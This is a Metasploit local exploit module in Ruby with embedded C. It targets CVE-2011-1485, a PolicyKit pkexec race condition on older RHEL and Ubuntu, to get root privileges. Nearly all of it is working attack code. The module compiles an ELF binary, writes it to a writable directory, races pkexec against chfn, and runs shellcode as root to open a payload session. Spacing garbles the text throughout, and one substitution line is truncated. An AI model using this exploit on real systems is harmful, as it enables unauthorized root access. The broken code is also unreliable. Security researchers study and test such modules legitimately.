class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit:: EXE
include Msf::Post:: File
include Msf::Exploit::Local::Linux
def initialize(info = {})
super (update_info(info,
'Name' => 'Linux PolicyKit Race Condition Privilege Escalation' ,
'Description' => %q(
A race condition flaw was found in the PolicyKit pkexec utility and polkitd
daemon. A local user could use this flaw to appear as a privileged user to
pkexec, allowing them to execute arbitrary commands as root by running
those commands with pkexec.
Those vulnerable include RHEL6 prior to polkit- 0 . 96 - 2 .el6_0. 1 and Ubuntu
libpolkit-backend- 1 prior to 0 . 96 -2ubuntu1. 1 ( 10 . 10 ) 0 . 96 -2ubuntu0. 1
( 10 . 04 LTS ) and 0 . 94 -1ubuntu1. 1 ( 9 . 10 )
),
'License' => MSF_LICENSE ,
'Author' =>
[
'xi4oyu' ,
'0a29406d9794e4f9b30b3c5d6702c708'
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 , ARCH_X86_64 ],
'SessionTypes' => [ 'shell' , 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86' , { 'Arch' => ARCH_X86 } ],
[ 'Linux x64' , { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0 ,
'References' =>
[
[ 'CVE' , '2011-1485' ],
[ 'EDB' , '17942' ],
[ 'OSVDB' , '72261' ]
],
'DisclosureDate' => "Apr 01 2011"
))
register_options([
OptString. new ( "WritableDir" , [ true , "A directory where we can write files (must not be mounted noexec)" , "/tmp" ]),
OptInt. new ( "Count" , [ true , "Number of attempts to win the race condition" , 500 ]),
OptInt. new ( "ListenerTimeout" , [ true , "Number of seconds to wait for the exploit" , 60 ]),
OptBool. new ( "DEBUG" , [ true , "Make the exploit executable be verbose about what it's doing" , false ])
])
end
def executable_path
@executable_path ||= datastore[ "WritableDir" ] + "/" + rand_text_alphanumeric( 8 )
@executable_path
end
def exploit
main = %q^
/*
* Exploit Title: pkexec Race condition ( CVE - 2011 - 1485 ) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011 - 1485
* Linux pkexec exploit by xi4oyu , thx dm @0x557 .org * Have fun~
* 0a2940: some changes
*/
/*
*/
typedef int __pid_t;
typedef int __time_t;
typedef
struct {
long __val[ 2 ];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
__dev_t st_dev; /* Device. */
unsigned short int __pad1;
__ino_t st_ino; /* File serial number. */
__mode_t st_mode; /* File mode. */
__nlink_t st_nlink; /* Link count. */
__uid_t st_uid; /* User ID of the file's owner. */
__gid_t st_gid; /* Group ID of the file's group.*/
__dev_t st_rdev; /* Device number, if device. */
unsigned short int __pad2;
__off_t st_size; /* Size of file, in bytes. */
__blksize_t st_blksize; /* Optimal block size for I / O . */
__blkcnt_t st_blocks; /* Number 512 -byte blocks allocated. */
__time_t st_atime; /* Time of last access. */
unsigned long int st_atimensec; /* Nscecs of last access. */
__time_t st_mtime; /* Time of last modification. */
unsigned long int st_mtimensec; /* Nsecs of last modification. */
__time_t st_ctime; /* Time of last status change. */
unsigned long int st_ctimensec; /* Nsecs of last status change. */
unsigned long int __unused4;
unsigned long int __unused5;
};
struct _pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[ 2 ]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
extern char *strstr(const char *haystack, const char *needle);
extern int rand(void);
extern int unlink(const char *__name);
int main(int argc,char *argv[], char ** envp)
{
__time_t tim_seed1;
__pid_t pid_seed2;
int result;
struct _stat_buff stat_buff;
char * chfn_path = "/usr/bin/chfn" ;
char * cmd_path = "" ;
char * pkexec_argv[] = {
"/usr/bin/pkexec" ,
"/bin/sh" ,
"-c" ,
cmd_path,
NULL
};
int pipe1[ 2 ];
int pipe2[ 2 ];
int pipe3[ 2 ];
__pid_t pid,pid2 ;
char * chfn_argv[] = {
"/usr/bin/chfn" ,
NULL
};
char buff[ 8 ];
char read_buff[ 4096 ];
char real_path[ 512 ];
int count = 0 ;
int flag = 0 ;
unsigned int usleep1 = 0 ;
unsigned int usleep2 = 0 ;
tim_seed1 = time( NULL );
pid_seed2 = getpid();
srand(tim_seed1+pid_seed2);
if (!geteuid()){
unlink(cmd_path);
SHELLCODE
int shellcode_size = 0 ;
int i;
unsigned long (*func)();
func = mmap( NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC ,
MAP_PRIVATE | MAP_ANONYMOUS ,
0 , 0
);
mprotect(func, 4096 , PROT_READ | PROT_WRITE | PROT_EXEC );
dprintf( "Copying %d bytes of shellcode\n" , shellcode_size);
// for (i = 0 ; i < shellcode_size; i++) {
//(char)func[i] = (char)shellcode[i];
memcpy(func,shellcode,shellcode_size);
//}
dprintf( "Forking before calling shellcode: 0x%p\n" , func);
if (fork()) {
exit( 0 );
}
func();
}
if (pipe(pipe1)){
perror( "pipe" );
exit(- 2 );
}
for (count = COUNT ; count && !flag; count--){
dprintf( "count %d usleep1 %d usleep2 %d\n" ,count,usleep1,usleep2);
pid = fork();
if ( !pid ){
// Parent
if ( !pipe(pipe2)){
if (!pipe(pipe3)){
pid2 = fork();
if (!pid2){
// Parent 2
close( 1 );
close( 2 );
close(pipe1[ 0 ]);
dup2(pipe1[ 1 ], 2 );
dup2(pipe1[ 1 ], 1 );
close(pipe1[ 1 ]);
close(pipe2[ 0 ]);
close(pipe3[ 1 ]);
write(pipe2[ 1 ], "\xFF" , 1 );
read(pipe3[ 0 ],&buff, 1 );
execve(pkexec_argv[ 0 ],pkexec_argv,envp);
perror( "execve pkexec" );
exit(- 3 );
}
close( 0 );
close( 1 );
close( 2 );
close(pipe2[ 1 ]);
close(pipe3[ 0 ]);
read(pipe2[ 0 ],&buff, 1 );
write(pipe3[ 1 ], "\xFF" , 1 );
usleep(usleep1+usleep2);
execve(chfn_argv[ 0 ],chfn_argv,envp);
perror( "execve setuid" );
exit( 1 );
}
}
perror( "pipe3" );
exit( 1 );
}
//Note: This is child, no pipe3 we use poll to monitor pipe1[ 0 ]
memset(pipe3, 0 , 8 );
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
pollfd->fd = pipe1[ 0 ];
pollfd->events = POLLRDNORM ;
if (poll(pollfd, 1 , 1000 ) < 0 ){
perror( "poll" );
exit( 1 );
}
if (pollfd->revents & POLLRDNORM ){
memset(read_buff, 0 , 4096 );
read(pipe1[ 0 ],read_buff, 4095 );
if ( strstr(read_buff, "does not match" )){
usleep1 += 100 ;
usleep2 = rand() % 1000 ;
} else {
if (usleep1 > 0 ){
usleep1 -= 100 ;
}
}
}
}
result = 0 ;
unlink(cmd_path);
return result;
}
^
main.gsub!(/ SHELLCODE /, Rex::Text.to_c(payload.encoded, 64 , "shellcode" ))
main.gsub!(/shellcode_size = 0 /, "shellcode_size = #{payload.encoded.length}" )
main.gsub!(/cmd_path = "" /, "cmd_path = \"#{executable_path}\"" )
main.gsub!(/ COUNT /, datastore[ "Count" ].to_s)
main.gsub!(/
cpu = nil
if target[ 'Arch' ] == ARCH_X86
cpu = Metasm::Ia32. new
elsif target[ 'Arch' ] == ARCH_X86_64
cpu = Metasm:: X86_64 . new
end
begin
elf = Metasm:: ELF .compile_c(cpu, main).encode_string
rescue
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join(" \n ")}"
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec( "chmod +x #{executable_path}; #{executable_path}" )
output.each_line { |line| print_debug line.chomp }
stime = Time .now.to_f
print_status "Starting the payload handler..."
until session_created? || stime + datastore[ 'ListenerTimeout' ] < Time .now.to_f
Rex.sleep( 1 )
end
end
end
|